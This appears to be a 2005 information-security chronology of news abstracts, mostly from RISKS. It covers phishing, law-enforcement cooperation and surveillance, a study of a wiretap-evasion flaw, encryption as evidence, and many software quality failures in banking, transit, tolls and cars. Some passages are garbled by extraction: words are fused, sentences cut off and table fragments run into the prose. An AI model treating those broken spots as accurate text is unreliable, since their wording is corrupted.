Online identity theft, a.k.a. "phishing," refers to attacks that exploit a wide variety of RISKS, using both technology and social engineering, to illicitly obtain and profit from confidential information. A new report on online identity theft, sponsored by the US Department of Homeland Security and SRI International, provides a holistic treatment of the subject. The report discusses technologies used by phishers, breaks down the flow of information in a phishing attack, identifies chokepoints at which an attack can be thwarted, and discusses technology atome cannot solve the phishing problem, substantial opportunities to mitigate the losses are identified. The report is titled "Online Identity Theft: Phishing Technology, Chokepoints and Countermeasures."

[Summary from Aaron Emigh]

1D1 Organizations, cooperation for law enforcement

Category 1D1 Organizations, cooperation for law enforcement

2005-01-27 web site child abuse UK US Australia Interpol partnership

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-01-27-child-abuse-site_x.htm

WEB SITE TO FIGHT CHILD ABUSE

A new Web site has been created by the U.K.'s National Crime Squad (NCS) in collaboration with the technology industry and with agencies in the U.S., Canada, and Australia, and Interpol, to provide information to help and support victims of abuse. Jim Gamble of the NCS explains: "Child abuse is one of the worst crimes to affect today's society and we in the UK must break away from thinking that we can tackle this issue within our own borders. Internet users access a worldwide service and we must tackle abuse from a worldwide perspective. That is why strategic partnerships with partners across the globe are so vital to the success of this initiative. Police across the world must work as one on this." (Federal Computer Week/USA Today 27 Jan 2005)

Category 1D1 Organizations, cooperation for law enforcement

2005-07-01 music movie TV software piracy international US raids FBI warez

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4640439.stm

U.S. LEADS INTERNATIONAL PIRACY RAIDS

Authorities in 11 countries, led by the FBI, conducted raids on the operators of Internet operations suspected of pirating movies, software, and computer games. The raids, which were conducted in the United States, Canada, Israel, France, Belgium, Britain, Denmark, the Netherlands, Germany, Portugal, and Australia, led to the arrests of seven individuals, the seizure of \$50 million worth of pirated material, and the shutting down of eight servers used to distribute the copyrighted works. According to U.S. Attorney General Alberto Gonzales, the raids also identified more than 120 other individuals allegedly involved in Internet piracy. Targeted in the raids were 14 so-called "warez" groups, which are the source for possibly as much as 95 percent of copyrighted material that is available online. Because operators of warez groups traditionally employ extensive measures to mask their identities and hide what they are doing, the groups have proven especially difficult for authorities to penetrate. Those arrested could face fines and jail terms, including up to 10 years in prison for distributing content prior to its commercial release. BBC, 1 July 2005

1D2 Technology for law enforcement

Category 1D2 Technology for law enforcement

2005-01-18 FBI Carnivore eavesdrop

NewsScan; http://apnews.excite.com/article/20050119/D87MS3CO0.html

FBI AXES CARNIVORE, EATS INVESTMENT

The FBI has abandoned its custom-built Internet surveillance technology, dubbed Carnivore, and is now using commercial software to eavesdrop on computer network traffic during investigations of suspected criminals, terrorists and spies. In addition, it's asking Internet service providers to conducting wiretaps on targeted customers, when necessary. Carnivore initially was developed because commercial tools available in 2000 were inadequate, but FBI spokesman Paul Bresson says the Bureau moved a while ago to using popular commercial wiretap software because it's less expensive and has improved in its ability to copy e-mails to and from a specific Internet account without affecting other subscribers. "We see the value in the commercially available software; we're using it more now and we're asking the Internet service providers that have the capabilities to collect data in compliance with court orders," says Bresson. The FBI didn't disclose how much it had spent on Carnivore, but outside experts estimate expenditures at somewhere between \$6 million and \$15 million. (AP 18 Jan 2005)

 Category
 1D2
 Technology for law enforcement

 2005-01-20
 Arabic language linguistics scanning OCR software terrorism antiterrorism information gathering University of Buffalo grant

DHS IAIP Daily; http://www.usatoday.com/tech/products/software/2005-01-20 -ar abic-scans_x.htm

SOFTWARE WOULD SCAN ARABIC DOCUMENTS FOR INFORMATION

Computer scientists are at work on software to scan Arabic documents, even handwritten ones, for specific words or phrases, technology its developers say could aid in intelligence gathering. Researchers at the University of Buffalo have received \$240,000 in funding from the federal Director of Central Intelligence Postdocotoral Research Fellowship Program. Optical character recognition (OCR) software trains the computer to interpret the images of an alphabet based on scanned images of characters or words recorded by humans who have examined the original images. Arabic presents challenges because characters may take different forms depending on where within a word they appear, and Arabic vowels are pronounced but often not written.

Category 1D2 Technology for law enforcement

2005-07-10 UK police pictures e-mail records hunt phones video networks'

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/10/london_bomb_

UK POLICE REQUEST PICTURES, E-MAIL, PHONE RECORDS IN BOMBER HUNT

London police have asked the public to turn in pictures from mobile phones and video pictures as they hunt the terrorists behind the bomb attacks on the UK capital Thursday, July 7. The call came as Britain's authorities sought to secure email and mobile phone records as they continue their hunt for the bombers. Much of the media networks' coverage of the bombings came from stills and video captured on camera phones and other mobile devices. London's Metropolitan Police on Sunday asked people who captured images on Thursday, both before and after the bombings, and either in or close to the areas where the bombings happened, to forward them to images@met.police.uk. "These images may contain crucial information which could help detectives in what is a painstaking and complex inquiry," said the head of the Met's Anti-Terrorist Branch, Deputy Assistant Commissioner Peter Clarke.

Category 1D2	Technology for law enforcement
2005-10-15	software engineering quality assurance QA new system introduction training denial
	of service DoS interface public relations

 RISKS; http://archiv.tagesspiegel.de/archiv/13.10.2005/2112250.asp (in German)
 24
 08

NEW GERMAN REGISTRATION SYSTEM CAUSES CHAOS

...[T]he [German federal] registration offices bought themselves some brand-spanking-new software. All people living in Germany must register their address and the names of people who live with them with this office (which is part of the police jurisdiction) inside of a week of moving into town. The police use the data for all sorts of purposes.

They cut over to the new system October 4, and the police suddenly discovered that they were offline - their systems did not work anymore, probably because the API was different. The police had to set up emergency computers directly linked to the official system and have police officers in the field *call in* their requests. Result: the line is always busy. But of course, there is no threat to the general public, just nasty waiting for the police....

The registration office was pointing the finger at the police, saying they had known for a year that this was coming. Then people called the papers complaining that waiting times at the office - which also issues passports and ID cards and the like - had gone from an hour to FOUR hours.

The official excuse is that clerks were not sufficiently trained in the use of the 23 million Euro software called "Meso". And they insist that the waiting time is "only" doubled, not more. They request the good taxpayers who paid for the software to just stay home and not bother them until they get the kinks worked out - really, one office gave out a press release to just leave them alone!

An added problem is that many people are trying to apply for new passports because from December on people have to pay more for them because they have to have RFID chips with biometric data stored in them so that the US government is appeased and will still let Germans in without visas.....

[Report by Debora Weber-Wulff]

Category 1D2	Technology for law enforcement
2005-11-30	study wiretap telephone wiretapping interception evasion security flaw privacy
	government agencies FBI legal ramifications

DHS IAIP Daily; http://www.nytimes.com/2005/11/30/national/30tap.html

SECURITY FLAW ALLOWS WIRETAPS TO BE EVADED, STUDY FINDS

The technology used for decades by law enforcement agents to wiretap telephones has a security flaw that allows the person being wiretapped to stop the recorder remotely, according to research by computer security experts who studied the system. It is also possible to falsify the numbers dialed, they said. Someone being wiretapped can easily employ these countermeasures with off-the-shelf equipment, said the lead researcher, Matt Blaze, an associate professor of computer and information science at the University of Pennsylvania. "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it," Blaze and his colleagues wrote in a paper that was published Wednesday, November 30, in Security & Privacy, a journal of the Institute of Electrical and Electronics Engineers. To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal. Despite this, the FBI says the vulnerability exists in only about 10 percent of state and federal wiretaps today. "Signaling Vulnerabilities in Wiretapping Systems" by Blaze, et al: http://www.crypto.com/papers/wiretapping/

1D3 Litigation, legal rulings, judgements affecting law enforcement

 Category 1D3
 Litigation, legal rulings, judgements affecting law enforcement

 2005-05-28
 encryption software evidence trial court proceeding intentionality reaction response hysteria exaggeration excessive

 RISKS;
 23
 90

http://www.theregister.co.uk/2005/05/25/pgp_admissable_child_abuse_case/ BROUHAHA OVER ENCRYPTION AS EVIDENCE OF ILL-INTENT

An eruption of emotion resulted when a Minnesota judge ruled that the presence of encryption software on the computer of a man accused of child abuse (soliciting a minor for lewd photographs) was relevant to the prosecution's case. Although one can reasonably express skepticism about the wisdom of the court's ruling or question their understanding of the availability and acceptance of encryption software, some people responded with comically exaggerated emotion. One contributor to RISKS labeled his missive "Encryption Illegal in Minnesota" -- which was plainly nonsense. The summary from _The Register_ was as follows:

>The Minnesota State Court of Appeals has rejected an appeal from David Levie on charges of soliciting a nine-year-old girl to pose for naked pictures, ruling that the prosecution's introduction of an encryption program on his computer as evidence was admissible. During a search of his computer, police found the PGP (Pretty Good Privacy) encryption program. Levie's lawyers argued that forensic examination yielded no evidence of any encrypted files on his computer and so the presence of encryption software should not be used as evidence against Levie. One police officer testified that PGP may be included with every Apple computer on the market. The appeals court ruled that the presence of encryption software was relevant to the prosecution's case and refused to order a retrial, though the case will be sent back for re-sentencing. The case could establish a precedent in Minnesota of accepting the presence of encryption software as evidence of criminal intent.<

Category 1D3	Litigation, legal rulings, judgements affecting law enforcement
2005-10-22	surveillance law enforcement universities academia communications Internet service providers ISPs cities municipalities counter-terrorism lawsuits

RISKS; http://tinyurl.com/aumy4

08

24

UNIVERSITIES RESIST US GOVERNMENT DEMANDS FOR SURVEILLANCE HOOKS

The federal government, vastly extending the reach of an 11-year-old law, is requiring hundreds of universities, online communications companies and cities to overhaul their Internet computer networks to make it easier for law enforcement authorities to monitor e-mail and other online communications. The action, which the government says is intended to help catch terrorists and other criminals, has unleashed protests and the threat of lawsuits from universities, which argue that it will cost them at least \$7 billion while doing little to apprehend lawbreakers. Because the government would have to win court orders before undertaking surveillance, the universities are not raising civil liberties issues.

The order, issued by the Federal Communications Commission in August and first published in the Federal Register last week, extends the provisions of a 1994 wiretap law not only to universities, but also to libraries, airports providing wireless service and commercial Internet access providers. It also applies to municipalities that provide Internet access to residents, be they rural towns or cities like Philadelphia and San Francisco, which have plans to build their own Net access networks. So far, however, universities have been most vocal in their opposition.

The 1994 law, the Communications Assistance for Law Enforcement Act, requires telephone carriers to engineer their switching systems at their own cost so that federal agents can obtain easy surveillance access.

[Abstract by Peter G. Neumann]

21.1 General QA failures

Category 21.1 2005-01-01	General QA failures quality assurance QA failure credit card payments overcistore	harge reimbur	sement drug
RISKS; http://www.	latimes.com/business/la-fi-rup1.4jan01,1,4107985.story	23	65
SPECIAL DEAL AT	WALGREEN DOUBLE YOUR CHARGES		
Monty Solomon report	ed in RISKS on a software glitch:		
decorations the two day discovered the error on	st U.S. drugstore chain, accidentally overcharged as many as 4 million or ys before Christmas because its payment-processing system malfunction Christmas Day and electronically reimbursed customers whose credit or ged, said company spokesman Michael Polzin. Some credits may not p	ned from overuse or debit cards had	. Walgreen l been incorrectly
Category 21.1	General QA failures		
2005-01-04	quality assurance QA design flaw automated welfare pay	ment banking	direct deposi
RISKS; http://www.	heise.de/newsticker/meldung/54690	23	65
GERMAN DIRECT I	DEPOSIT DOESN'T		
Weber-Wulff, Professo Sciences) in Berlin repo- numbers had fewer that for example <00123450 the recipient." The sea	rman government introduced a new system for direct deposit of social v r of Media and Computing at the Fachhochschule für Technik und Wir brted in RISKS that about 5% of the recipients received no payments be n the expected 10 digits. Apparently "The program was of course supp 678>. Instead, the zeros were added at the end (1234567800) causing t rch for the guilty began immediately, with the software company involv at for supplying bad data.	rtschaft (Universit ecause their older bosed to put in *le he payments to b	y of Applied account ading* zeros, e unassignable to
Category 21.1	General QA failures		
2005-01-04	quality assurance QA failure rate vehicle toll system sate	llite GPS	
RISKS; http://www.	spiegel.de/wirtschaft/0,1518,335367,00.html	23	65
BUGGY GERMAN T	OLL-COLLECTION SYSTEM FOR BUGGIES		
On 1 Jan 2005, the Ger	man government introduced an automated toll-collection system for tr		

On 1 Jan 2005, the German government introduced an automated toil-collection system for truckers. Dr Debora Weber-Wulff, Professor of Media and Computing at the Fachhochschule für Technik und Wirtschaft (University of Applied Sciences) in Berlin relayed a report to RISKS from Der Spiegel that there were significant errors: "10 % of all attempts to use the system ended in failure or in people just not paying the toll. The system started with just 320.000 'On-Board Units' (OBU) installed that calculate the tolls using a complicated, satellite-based scheme. If a trucker does not have an OBU they must either purchase a ticket by mobile phone (costly) or at a toll booth in a rest stop. The problems here are that many truckers do not know exactly what exit they will be getting off at. In addition, if there is a traffic jam or other problems and they have to take a detour, they must change their toll ticket."

Category	21.1	General QA failures		
2005-01-	06	quality assurance QA design flaw procedures employees fail-sa	afe fall-back	
RISKS; ŀ	nttp://www.b	oingboing.net/2005/01/05/a_kafka_day_at_the_l.html	23	66
YOU CA	N'T GET THE	ERE FROM HERE		

Mark Frauenfelder reported on a Kafkaesque response to a software design flaw in Los Angeles, CA. When a police officer forgot to enter the date on a moving traffic violation ticket, the city computer system was unable to register the ticket. A bureaucrat at the ticket office informed the driver that she would have to call the office _every single workday_ to find out when the ticket finally did get registered, then drive down immediately to pay the fine -- which would include penalties for late payment. Paying the ticket before the computer system registered it was impossible. Paying the ticket "late" would result in an increase in car insurance premiums.

In a follow-up posting, Paul Robinson suggested contacting city attorneys to "ask them to agree to dismiss the charge and not prosecute this particular ticket because the case office is not posting the ticket and you can't be put in a position where you are 'twisting, turning in the wind,' waiting for an unknown and unknowable filing to be made which places you in jeopardy of even more serious criminal penalties when you can't get the current one resolved." Failing that, Mr Robinson advised suing the District Attorney's office "for a writ of mandamus prohibiting them from prosecuting the original ticket. You may even be able to sue for damages but I think all you're interested in is to get rid of the matter, either by converting it off of a moving violation or getting it dismissed. I don't think it would be that difficult to file for an order even without a lawyer since you're only trying to solve the problem and the government, by its incompetence or misconduct is placing you in a position in which you are being denied the right to a constitutionally guaranteed speedy trial and quite possibly to equal.protection and possibly other issues. Even if you don't get the order you've got grounds to have any potential penalty for not paying the ticket and not appearing canceled."

Category 21.1	General QA failures		
2005-01-15	quality assurance QA software design flaws list		
RISKS; http://asktog	.com/Bughouse/index.html	23	67
SOFTWARE ENGINE	EERING TIPS		

Peter Ludemann contributed these pointers to bad software design in RISKS:

Bruce Tognazzini has started collected well-known bugs at http://asktog.com/Bughouse/index.html ... many of these have shown up before in Risks, such as "Harassing Confirmations & Missing Confirmations" and "'Smart' functions that aren't smart".

Readers might also enjoy (if that's the right word) Tognazzini's article on Security D'ohlts: http://asktog.com/columns/058SecurityD'ohlts.html and an older article on how inconvenience and security are confused: http://asktog.com/columns/051AirSecurity.html

Category 21.1 General QA failures

2005-01-15 quality assurance QA map software Microsoft MapPoint directions long trip Norway

TAKE THE LONG WAY HOME

RISKS

Two RISKS contributors pointed out a flaw in Microsoft's map software; Adam Shostack's report is as follows (and is entitled "MapPoint Explains Vikings?":

When going from Haugesund, Rogaland, Norway, to Trondheim, So-Trondelag, Norway, be aware that following Microsoft MapPoint's directions, will take you through England, France, Belgium, the Netherlands, Germany, Denmark, Sweden, and finally back into Norway. While this may be culturally sensitive and respectful of historic Viking routing, rooting, or looting, it is somewhat less efficient than other routes, as a quick glance at a map will show.

Start: Haugesund, Rogaland, Norway

End: Trondheim, So-Trondelag, Norway

Total Distance: 1685.9 Miles, Estimated Total Time: 47 hours, 31 minutes (This is listed as the "quickest" route.)

23

67

23

68

Category 21.1 General QA failures 2005-01-24 system configuration boot device printer USB drive documentation design denial of service DoS

RISKS

BOOT THE PRINTER OFF THE SYSTEM TO BOOT

Lindsay Marshall had an interesting observation in RISKS about the unexpected consequenes of two configuration paramaters:

A neighbour of mine just bought a new Epson printer and were trying to install it on their laptop. They had a problem : they rebooted their system and it said "Not a system disk". They gave me a call and I wandered up to have a look. I hit a few keys and suddenly it booted again. Odd I thought (not having noticed a crucial event!). I got in as Administrator and installed the software for them and we connected up the printer and rebooted. "Not a system disk". I thought for a bit and looked in the BIOS and lo and behold, the first boot item was a USB disc, and the printer does indeed have a USB disc feature so that you can access camera memory cards via the printer. Unplug the printer and the system boots fine, plug it and no dice. (What I hadn't noticed above was that my neighbour had unplugged the printer from the USB as I was hitting keys.)

How could anyone expect everyday users with no experience of systems internals to deal with a situation like that? Why should a printer look like a disc anyway (at least by default), and why have the default BIOS setting to boot from USB first? A disaster waiting to happen and it happened.

Category 21.1	General QA failures		
2005-01-26	automobile operating system virus cell phone Bluetooth quality assurance QA	access control	design flaw
RISKS; http://tinyu	cl.com/5p3jh	23	70

INFECTING CARS VIA CELL PHONES?

Karl Klashinsky noted a serious problem with software that has no security provisions:

The topic of software flaws in the embedded systems within modern automobiles has been discussed in RISKS several times. But here's a new twist (to me, at least), a case where the on-vehicle software is corrupted by a virus, inserted into the automobile's computing systems, via a blue-tooth enabled cell-phone.

Peter Neumann commented:

There's the obvious risk here... a vehicle can be infected by the cell-phone in the vehicle next to you while stopped in traffic or sitting in a parking lot. As this vulnerability becomes known in the cracker community, how long before someone tailors a virus specific to a vehicular target -- perhaps creating runaway-vehicle scenarios similar to the "faulty cruise control" incidents reported here in RISKS.

Category 21.1 General QA failures

2005-02-02hardware failure CD scratch damage drive shatter break design controlRISKS23

HIGH-SPEED CD-DRIVES SHATTER DAMAGED DISKS

Henk Langeveld reported on a disturbing interaction of damaged CDs and new high-speed CD-drives:

I've had the nasty experience to have lost four CD's to newer high-speed CD and DVD-drives within a year.

The current state of technology will run CDs and DVDs at high speeds, and the centrifugal force of the drive increases the risk of any scratch on the media to result in one broken CD, and one ruined drive.

Peter G. Neumann added:

[Drew Dean commented to me on this: ``I believe programs such as Exact Audio Copy (EAC) do slow down the drive, and most CD/DVD burning software can write at slower speeds, but I'm not aware of any interface to tell an OS to always slow down reading." PGN]

In follow-up postings in RISKS 23.72, Eben King and Jonathan King and others provided helpful suggestions and links for utilities that can slow down fast CD-ROM drives.

71

Category 21.1	General QA failures
2005-02-13	software engineering quality assurance QA safety-critical cell-phones mobile
	Bluetooth virus infection economics damages lawsuits reliability

RISKS

23

72

INFECTING CARS VIA CELL PHONES -- CONT'D

Peter Ladkin reported on a mild brouhaha about the possibility that Bluetooth-enabled car-control systems might be susceptible to damage from viruses infecting or transmitted via cell-phones. He determined that the original reports (including one in RISKS 23.70) may have been stimulated by a discussion with anti-virus expert Eugene Kaspersky, who discussed _theoretical_ possibilities of infecting car systems in response to specific questions from a reporter.

Ladkin mentioned a cute cartoon he saw in which "A passenger is sitting in an airliner using his laptop, and on the screen appears: Bluetooth: new device found: Airbus A310." He then analyzed the economics of critical failures in automobiles and pointed out how unreliable software tends to be. Given how safety-critical car-control systems are, and given the massive costs of customer damage claims, he commented, "So there is plenty of motivation to make auto critical electronics the most dependable SW-based systems the world has ever seen. We are a long way from it, but I don't think we are going to be seeing critical systems upgraded through gratuitously insecure channels. Except for the exceptions, of course."

He concluded, "If I were to bet today, I'd bet on the cartoon staying a cartoon."

Category 21.1	General QA failures		
2005-02-14	quality assurance QA response error tolerance missile inter failure	rceptor com	munications
RISKS; http://www	v.cnn.com/2005/TECH/01/12/missile.defense.ap/index.htm	23	66

MISSILE FAILS TEST? CHANGE THE RULES.

Jeremy Epstein commented on the DoD's response to errors in the missile interceptor system:

As has been widely reported, the DoD's missile interceptor test failed miserably in December [2004], building on a rather impressive history of failures. According to Pentagon brass, the problem was "with an automated pre-launch check of the communications flow between the interceptor and the main flight control computer. Detecting too many missed messages, the system shut down automatically, as designed. [so] the Pentagon will increase the pre-launch tolerance for missed messages. [General] Obering said the tolerance level was set too low; increasing it will not risk a flight guidance failure".

Well, that makes me feel better. The system ran into problems, so it generated errors. Rather than figuring out what the problem was, let's ignore the errors. Not unlike turning up the radio in your car so you can't hear it falling apart.

The general went on to say "Statistically, it's a very rare occurrence and most likely would not happen again."

Gee, I feel safer every minute.

* * *

In RISKS 23.72 he reported on yet another failure:

MISSILE INTERCEPTOR DOESN'T EVEN LEAVE ITS SILO -- AGAIN

As reported in RISKS 23.65 and 23.66, the Dec 15 test of the missile interceptor system failed when it didn't lift off from the launchpad due to a timing problem.

The 14 Feb test didn't do any better. CNN reports that "a spokesman for the [Missile Defense] agency, Rick Lehner, said the early indications was that there was a malfunction with the ground support equipment at the test range on Kwajalein Island in the Marshall Islands, not with the missile interceptor itself. If verified, that would be a relief for program officials because it would mean no new problems had been discovered with the missile."

That's good news?

In case you're keeping score, that's 6 failures out of 9 attempts since the program started. And the three "successes" have been highly scripted.

Your tax dollars at work (at least for Americans).

Category 21.1	General QA failures		
2005-02-20	software quality assurance QA systems engineering failure errors design flaws process modular construction	rates progra	mming
RISKS		23	73

RISKS

BUY VS BUILD -- OR ELSE

Paul Robinson wrote an essay for RISKS that pointed out how unusual it is in our society for us to build tools or other products from scratch in our normal lives. We buy bread, cutlery, peanut butter, kitchen sinks, stoves, tiles ... almost everything we need is created by specialists and used by others.

So why do we think it is still normal to build software from scratch? Why aren't we insisting on building software from welltried-and-tested modules that we can use to put together the desired functionality?

And how come other products, such as wrenches, refrigerators and washing machines, have warranties -- some of them lifetime warranties -- but software generally does not? Why are we tolerating this degree of shoddy engineering and production in such critical tools in our current lives?

The question that should be asked is, "why this is allowed to continue?"

Robinson writes:

Software as it is currently being developed provides so much value relative to its costs that we as practitioners of this medievalclass craft (in terms of our level of automation and sophistication of production methods) can get away with practices that would not be tolerated by a Taiwanese manufacturer of toasters.

And this is the reason we are seeing programming jobs being outsourced to low wage countries. If you're going to get crappy software there's no reason to pay premium prices for it. It is exactly the sort of situation that befell the American automobile manufacturers back in the 1970s and 1980s. And unless we start to make changes we will see exactly the same thing happening.

Actually some of the software development places that are used for outshoring have formal practices in place for reducing defects. So it is entirely possible what we are getting is the exact equivalent of what I stated above. The overseas "manufacturers" produce better quality at a lower cost than we do.

I think that a basis of component architecture is the direction that we need to go in the development of software. That we need to make more software to be designed as a series of reusable components that can be used in other contexts. It also means we need to develop at least an engineering discipline in a way of making software of higher quality and eventually to reduce the risks of development.

And this is why I now understand more clearly why I knew that there was something right about this concept even though I didn't know exactly why at the time. In a book I once wrote, the main character explains about realizing the validity of a concept even if you're not sure why:

>I know how that is; more than once I've had gut feelings about things where I couldn't put my finger on it, but I knew something wasn't right. Later I would discover why I had that feeling, and, more importantly, why I was right, but at the time I did not have the evidence or knowledge to know why I felt that way.<

- George Green, "In the Matter of: The Gatekeeper: The Gate Contracts"

We can continue on the same path of disaster-ridden bugware or we can choose to change. We can change because the current methods do not work very well, they spell disaster in terms of cost, reliability, future employment potential, and the possibility of seeing our craft ruined by heavy-handed government mandates for licensing. We can choose to change because if we do not, the choice on how to make the changes may be made for us, and in a manner we will not appreciate.

The process will not be easy, but the benefits to us will more than outweigh the short-term losses by having to re-learn a new way of working, and thinking. If we want to continue to have fun in this craft without being placed into a bad position because of our own arrogance in failing to acknowledge the incompetence, sloth and waste our current practices contain, we need to change. And we need to do it before we are forced to do so because the customers decide they can't stand it any more, before we do.

* * *

This essay provoked a flurry of interesting contributions in RISKS 23.74 < http://catless.ncl.ac.uk/Risks/23.74.html#subj2 >. Highlights include these points [with authors in square brackets so you can find their full comments easily]:

* The same issues were raised in 1968 by Doug McIlroy in a NATO conference on software engineering; see < http://homepages.cs.ncl.ac.uk/brian.randell/NATO/>. [Jim Horning]

* Problems in components spread throughout the industry; e.g., "the buffer overflow in the commonly-used JPEG decoding algorithm." [Rick Russell]

* Software is much more complicated than manufactured goods. [Rick Russell]

* Describing software is much more difficult than describing physical objects or tools and therefore reusability is difficult to engineer or attain. [Kurt Fredriksson]

* Even when reusable components are part of a software project, there is still lots of work because of dependencies that may break the code when components are poorly upgraded. [Jay R. Ashworth]

* Object-oriented programming has resulted in aborted development of more advanced programming languages. [Kurt Fredriksson]

* It may not be possible to write perfect code using the specifications of existing code because new situations may impose unexpected constraints that lead to unexpected behavior of the systems. [Ray Blaak]

* Work by Jef Raskin, the architect of the Macintosh project at Apple, may lead to error-free user interfaces. See his text "The Humane Interface: New Directions for Designing Interactive Systems." [Richard Karpinski] [MK looked up the ISBN: 0-201-37937-6 & the AMAZON URL: http://tinyurl.com/abt7a]

* "...[T]he problem isn't a lack of components, it's that we're building much larger systems in relation to the power of those components." [Geoff Kuenning]

* "... [O]ther people's components will only work for you if those people's domain model is sufficiently close to yours -- otherwise they are be too generic to be of any use to anybody, all they are is overhead." [Dimitri Maziuk]

* "Software is not constrained by the laws of nature (until or unless it comes to controlling a real system).... Thus while traditional manufacture is bounded by well-established physical parameters which lend themselves to repeatable solutions, requirements for software systems are not so bounded. This tends to mean that the requirements for each system are unique. And because of the perception that software can do anything, the requirements tend to be complex too: arguably excessively so. Working this down into the details of implementation, this means that the components needed tend to be unique for each system - thus limiting the possibilities of reuse." [Stephen Bull]

	• •		
Category 21.1	General QA failures		
2005-03-10	software quality assurance QS update error denial of servic railway subway tube train data corruption flaw bug	e DoS under	ground
RISKS		23	79
OYSTER CARD FA	ULT CAUSES PROBLEMS ON LONDON UNDERGROUND		
	ause journey renewal problems" Computing*, 10 Mar 2005		
Londoners were faced journeys on their Oys	d with travel problems this morning after an IT error meant hundreds of conter card.	mmuters could	not renew
	cted the whole of the London Underground (LU) and Docklands Light Rail ic updating process went wrong.	way (DLR), wa	is caused when
	n (TfL) and TranSys - the consortium that operates the Oyster card scheme add new records and block stolen and canceled cards.	- automatically	updates the
	tem early this morning means commuters are unable to use machines at Uno ourneys onto the smart cards.	derground or I	DLR station this
'Every morning inform spokeswoman for Tra	mation goes out about stopped cards and it was an error in the data that cau inSys.	sed the problem	m,' said a
Passengers that have	already paid for their journey or using prepay can still use the system as norr	nal.	
TfL and TranSys iden	tified the error at 4am this morning and starting issuing a fix to the problem	n by 8.30am.	
	to be up and running again by the end of the morning,' said the TranSys spo ually caused the error and ways of ensuring this doesn't happen again.'	okeswoman. 'W	le are now
Category 21.1	General QA failures		
2005-03-23	automobile car cruise control autopilot failure accident cra brakes ignition engine control	sh bug lockı	ıp freeze
RISKS		23	81
CRUISE-CONTROI	. TAKES BITS IN ITS TEETH?		

Robert Scheidt reported on a serious problem and asked for clarification:

Recently in France a number of failures of "cruise control" systems especially on recent models of Renault made cars have been reported, some creating serious accidents (including a deadly one). In general it is reported that the car stays at his set speed and no matter what the driver does, including cutting the ignition and breaking, the car continues at that speed.

What's more surprising is that it is also reported that brakes become ineffective (the brake pedal resists pressure).

I could imagine that the cruise control being probably under control of some microprocessor, this microprocessor could "hang" due to some software problem and therefore that everything it controls just stays as it is. Especially in newer cars where fuel injection is completely electronically controlled (no mechanical link between the gas pedal and the fuel injection controls).

However, I have difficulties believing that the same microprocessor would control the brakes and make them ineffective. I wonder if somebody on this board has some insight on how the electronic controls of modern cars are designed and especially if a single component's failure (such as a common microprocessor) could affect multiple functions (e.g., acceleration and brakes).

There was a flurry of discussion in RISKS 23.82. Several correspondents confirmed that some automotive systems do in fact control brakes as well as speed.

23

81

Category 21.1 General QA failures 2005-03-24 bank account redit card transfer third party registration vulnerability fraud theft design flaw

RISKS

RISKY US BANK VISA PRODUCT

John Meissen analyzed the security flaws in a new Visa service:

US Bank has a Visa product targeted at teens (or rather, their parents), called VisaBuxx. It looks and acts like a standard Visalogo debit card, but is more like a prepaid phone card - you pre-load it with value, and it's not directly tied to any bank account.

Their web site and marketing literature talk about being able to easily add value to the card by transferring money online from an existing US Bank checking account. Unfortunately, the system leaves a lot to be desired.

The usbank.com website has a link for the VisaBuxx program. When you click on it you're redirected to another site, called visabuxx.com. This site is apparently run by someone called "WildCard Systems". In order to transfer money from your US Bank checking account to the card you have to provide WildCard Systems with your checking account number and routing information and authorization to pull funds from the account, or give them your own debit card number. While WildCard Systems may be honorable and trustworthy, the risks in this are so obvious that it's painful. Meanwhile, the Terms Of Service published on the site go to great lengths to explicitly disavow any responsibility for anything bad that might result from the use of the site.

The correct way for the bank to have implemented this would have been to provide the ability to associate the card with your existing Internet banking identity, and then let you log in through the bank's website and tell the them to send money from an account to the card rather than allowing the card operators to pull money from your account. Having the ability to provide account data to the VisaBuxx website is useful for non-US Bank customers, but a legitimate US Bank customer I shouldn't be forced to do it.

I find it mind-boggling that financial corporations still can't see the obvious when it comes to protecting customer account data. When dealing with an official bank product I should NEVER have to tell the application anything about my accounts.

Category 21.1 General QA failures

2005-03-25 Sybase lawsuit threat flaw vulnerability open disclosure Next Generation Security

EDUPAGE; http://www.computerworld.com/

SYBASE BLOCKS FLAW DISCLOSURE WITH THREAT TO SUE

California-based Sybase Inc. has threatened to sue U.K.-based Next Generation Security (NGS) Software Ltd. If that company discloses the details of eight security flaws it discovered in 2004 in Sybase database software, Adaptive Server Enterprise Version 12.5.3. NGS notified Sybase of the flaws, and Sybase released a patched and updated version of the software in February 2005. NGS policy mandates that it wait for vendors to issue patches before publicly releasing information on software flaws. The company chose not to make a public disclosure of the database holes after receiving the Sybase letter threatening to sue. According to an e-mail statement from a Sybase spokeswoman, the company was motivated to prevent the disclosure out of concern for its users' security. ComputerWorld, 25 March 2005

	General QA failures	
2005-03-28	denial of service human error clock time dat online services	a entry bank customers automated tel
RISKS; http://tinyu	url.com/djrmz	23 82
HUMAN ERROR SH	IUTS DOWN BARCLAY'S AUTOMATED TELLER S	SYSTEM
	on [no, really] reported on a service interruption for custo parts of his report to RISKs.	omers of the British Barclay's Bank. The
UK's leading banks - v	UK put its clocks forward one hour. This apparently cause with ATMs and other online services unavailable to custor report on the failure is reproduced below.	1 2
Summer Time slip-u *The Daily Telegrap	p forces Barclays' cashpoints to close n*, 28 March 2005	
after the bank's cash had accidentally put auto-tellers in the so order. Barclays custo	customers were unable to withdraw money yesterday boint network crashed amid claims that a duty manager the clocks back instead of forward. More than 1,400 ith of England and some on-line services were out of omers were unable to withdraw money from any bank, th other banks were unable to use Barclays cash	
that customers' perso that control much of resolved at 5pm. Ex admitted that a mista have been to blame.	that 4am on 27 Mar 2005 when technicians noticed onal details were not being forwarded to the computers the bank's infrastructure. The problem was eventually ecutives trying to determine the cause of the problem ke during the switch to British Summer Time could Customer services staff were less ambiguous. One er put the clocks back instead of forward and that has oblems."	
for operations north the South. The Glou hour back instead of time change was to b mistake. Alistair Sm this problem may so	etwork uses two servers based in Gloucestershire: one of the Wash and the other to control operations in cester South server is understood to have been set one forward. The bank conceded that an error over the lame but denied that an individual manager made the th, a spokesman for the bank, said: "It seems that nehow be related to the time change, although I am told someone making a mistake while manually changing the	
Mr Bacon then analyz	es the situation as follows:	
servers are not time sy	f the bank relied upon the actions of a human to change t inchronised through an atomic clock receiver or from an inding of transactions.	
